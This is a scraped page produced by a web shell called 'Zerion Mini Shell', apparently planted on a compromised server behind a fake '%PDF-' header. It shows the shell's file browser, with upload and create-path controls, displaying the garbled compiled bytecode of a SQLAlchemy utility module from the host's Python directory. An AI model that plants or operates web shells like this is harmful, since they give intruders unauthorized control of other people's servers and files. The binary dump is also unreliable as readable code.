%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/alt/python37/lib64/python3.7/site-packages/sqlalchemy/engine/__pycache__/
Upload File :
Create Path :
Current File : //opt/alt/python37/lib64/python3.7/site-packages/sqlalchemy/engine/__pycache__/util.cpython-37.pyc

B

��4]u	�@sTddlmZdd�Zdd�ZyddlmZWn"ek
rNe��e��YnXdS)	�)�utilcstj�fdd��}|S)z�Decorator, memoize a function in a connection.info stash.

    Only applicable to functions which take no arguments other than a
    connection.  The memo will be stored in ``connection.info[key]``.
    cs@|��}y
|j�Stk
r:|||�|j�<}|SXdS)N)Zconnect�info�KeyError)�fn�selfZ
connection�val)�key��I/opt/alt/python37/lib64/python3.7/site-packages/sqlalchemy/engine/util.py�	decorateds
z%connection_memoize.<locals>.decorated)rZ	decorator)rrr	)rr
�connection_memoizes	rcCsdd�}t�S)NcSs�|s|r|gSgSn�t|�dkr||d}t|ttf�rb|rVt|dd�rZt|dd�sZ|S|gSq�t|d�rr|gS|ggSn&t|dd�r�t|dd�s�|S|gSdS)aGiven arguments from the calling form \*multiparams, \**params,
        return a list of bind parameter structures, usually a list of
        dictionaries.

        In the case of 'raw' execution which accepts positional parameters,
        it may be a list of tuples or lists.

        ���__iter__�strip�keysN)�len�
isinstance�list�tuple�hasattr)ZmultiparamsZparamsZzeror	r	r
�_distill_paramss&


z$py_fallback.<locals>._distill_params)�locals)rr	r	r
�py_fallbacks+rr)rN)	�rrrZsqlalchemy.cutilsr�ImportError�globals�updater	r	r	r
�<module>s/

Zerion Mini Shell 1.0